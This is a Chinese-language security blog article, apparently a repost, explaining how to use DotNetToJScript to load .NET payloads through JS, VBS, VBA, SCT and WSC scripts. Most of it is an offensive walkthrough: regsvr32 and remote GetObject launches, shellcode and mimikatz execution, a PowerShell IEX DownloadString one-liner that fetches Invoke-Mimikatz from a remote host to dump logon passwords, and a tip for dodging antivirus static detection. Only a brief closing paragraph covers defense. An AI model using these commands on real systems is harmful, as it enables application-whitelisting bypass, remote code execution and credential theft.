當前位置:
首頁 > 最新 > 工具解析篇:高效利用JS載入.Net程序

工具解析篇:高效利用JS載入.Net程序

0x00 前言

最近James Forshaw開源了一個工具DotNetToJScript,能夠利用JS/Vbs腳本載入.Net程序,很有趣。

Casey Smith和Cn33liz都對此做了進一步研究,開源了他們的利用代碼。

本文將要對該技術作系統整理,幫助大家更好的認識。

0x01 簡介

本文將要介紹以下內容:

1. DotNetToJScript編譯方法

2. DotNetToJScript使用方法

3. 利用JS/Vbs執行shellcode

4. 利用JS/Vbs執行powershell腳本

0x02 DotNetToJScript編譯方法

DotNetToJScript下載地址:

https://github.com/tyranid/DotNetToJScript

報錯1:

缺少程序集引用NDesk.Options

解決方法:

需要添加引用NDesk.Options

下載地址:

解壓縮,工程-添加引用-瀏覽-ndesk-options-0.2.1.binndesk-options-0.2.1.binlibndesk-optionsNDesk.Options.dll

接下來,將目標框架指定為.NET Frameword 2.0,重新編譯

報錯2:

缺少程序集引用Linq

解決方法:

添加對System.Core.dll 3.5的引用

位置:

C:Program FilesReference AssembliesMicrosoftFrameworkv3.5System.Core.dll

添加引用後編譯成功,分別在兩個目錄生成DotNetToJScript.exe和ExampleAssembly.dll

0x03 DotNetToJScript使用方法

1、生成js腳本

參數如下:

DotNetToJScript.exe -o 1.js ExampleAssembly.dll

執行後,生成1.js

執行1.js,調用ExampleAssembly.dll中的public TestClass()

如下圖

執行過程如下圖,彈出對話框

2、生成vbs腳本

參數如下:

DotNetToJScript.exe -l vbscript -o 2.vbs ExampleAssembly.dll

執行如下圖

3、生成vba腳本

參數如下:

DotNetToJScript.exe -l vba -o 2.txt ExampleAssembly.dll

用來放在office宏中

4、生成sct腳本

參數如下:

DotNetToJScript.exe -u -o 3.sct ExampleAssembly.dll

啟動方式:

命令行參數如下:

regsvr32.exe /u /n /s /i:3.sct scrobj.dll

註:

細節可參考之前的文章《Use SCT to Bypass Application Whitelisting Protection》

5、生成wsc腳本

參數如下:

DotNetToJScript.exe -m -o 4.wsc ExampleAssembly.dll

啟動方式1:本地調用

通過js調用,js腳本內容如下:

GetObject("script:C:test4.wsc");

註:

需要絕對路徑,wsc文件後綴名任意

啟動方式2:遠程啟動

將4.wsc保存在github,地址如下:

https://raw.githubusercontent.com/3gstudent/test/master/4.wsc

js腳本內容如下:

GetObject("script:https://raw.githubusercontent.com/3gstudent/test/master/4.wsc")

註:

細節可參考之前的文章《WSC、JSRAT and WMI Backdoor》

0x04 利用JS/Vbs能夠實現的payload匯總

對以上測試中的ExampleAssembly.dll,可替換成其他payload:

1、執行shellcode

代碼可參考如下地址:

新建c#工程,可選擇c#控制台應用程序,編譯成exe

生成js腳本的參數如下:

DotNetToJScript.exe -o shellcode.js shellcode.exe

測試如下圖

2、執行mimikatz

代碼可參考如下地址:

https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f

在c#中執行mimikatz的代碼可參考如下地址:

https://gist.github.com/subTee/5c636b8736530fb20c3d

3、執行powershell

代碼可參考如下地址:

https://github.com/Cn33liz/StarFighters

作者:Cn33liz

StarFighters:

1. 能夠載入Empire框架的啟動代碼

2. 支持JavaScript和VBScript

3. 不需要powershell.exe,可用於繞過白名單攔截

4. 通過powershell runspace environment (.NET)執行powershell代碼

執行powershell代碼的方式可參考工程p0wnedShell,地址如下:

https://github.com/Cn33liz/p0wnedShell

我之前對此做過研究,對其精簡代碼,使其支持.net 2.0,地址如下:

https://github.com/3gstudent/Smallp0wnedShell

實際測試:

StarFighters不僅能夠載入Empire框架的啟動代碼,也可用來直接執行powershell命令

方式如下:

(1)執行powershell單條命令

需要對命令作base64編碼,命令如下:

$code = start calc.exe $bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);$encoded = [System.Convert]::ToBase64String($bytes)$encoded

得到base64代碼如下:

cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==

替換StarFighter.js中的var EncodedPayload

成功執行,彈出計算器如下圖

(2)本地執行powershell腳本

使用Invoke-Mimikatz.ps1,下載地址如下:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

添加導口令的操作代碼:

Invoke-Mimikatz -Command "log privilege::debug sekurlsa::logonpasswords"

註:

添加log參數是為了將結果導出到文件mimikatz.log

命令如下:

$code = Get-Content -Path Invoke-Mimikatz.ps1$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);$encoded = [System.Convert]::ToBase64String($bytes)$encoded | Out-File 1.txt

將生成的1.txt中的內容替換StarFighter.js中的var EncodedPayload

(3)遠程執行powershell腳本

powershell命令如下:

powershell IEX "(New-Object Net.WebClient).DownloadString( https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 ); Invoke-Mimikatz -Command log privilege::debug sekurlsa::logonpasswords "

作base64的代碼如下:

$code = Get-Content -Path code.txt$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);$encoded = [System.Convert]::ToBase64String($bytes)$encoded | Out-File 2.txt

將生成的2.txt中的內容替換StarFighter.js中的var EncodedPayload

註:

某殺毒軟體默認會查殺該js腳本,一個繞過靜態查殺的思路(不保證有效期):

1. 將腳本保存成ASCII格式,會被查殺

2. 換成UNICODE格式,不被查殺

0x05 防禦

站在防禦的角度,大家都會對powerShell.exe作攔截,但是這還遠遠不夠:

powershell runspace environment (.NET)才是重點

具體到本文的技巧,防禦方法如下:

分別對js、vbs、vba宏、sct、wsc腳本作限制


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

國內研究人員發現GMR-2漏洞,可實時解密衛星電話通訊
超級間諜軟體SpyDealer:可同時監視40餘款安卓應用,包括微信、淘寶、百度網盤等
繞過AppLocker系列之MSBuild的利用
為遏制猖獗的刷榜,蘋果把十年前的技術也搬出來用了…
針對藍牙4.0 BLE通訊過程的逆向和攻擊

TAG:嘶吼RoarTalk |

您可能感興趣

Photoshop詳細解析HSL調色工具的使用技巧
利用Frida打造ELF解析器
Net Core SDK全球使用數據解析
如何用 Linux 命令行工具解析和格式化輸出 JSON
解析.DS_Store文件格式
解析 USB 3.2 規格的變化:傳輸速度加倍!雙通道技術導入 USB Type-C
導演 Sing J. Lee 解析 Migos 新歌《Stir Fry》 MV 拍攝靈感
教你用Python解析HTML
RequireJS框架源代碼解析
FARO展示了具有高解析度全彩色掃描的Design ScanArm 2.5C
解析|intel i7 CPU生產全過程圖解
Android項目解耦-路由框架ARouter源碼解析
HDFS BlockToken機制解析
Illustrator詳細解析混合工具的使用方法
《Fighting EX Layer》PC版將支持4K解析度
韓團隊實現超高解析度NanoLens,技轉設備廠商JuSung
Hi-Res高解析 索尼NW-A55音樂播放器體驗
EnvisionTEC現提供最高解析度的大型3D印表機
專訪PerkinElmer|「高內涵」成像分析系統,解析細胞信息的「利器」
XML、XML約束、XML解析、常用的xml解析器(DOM4J)、XPATH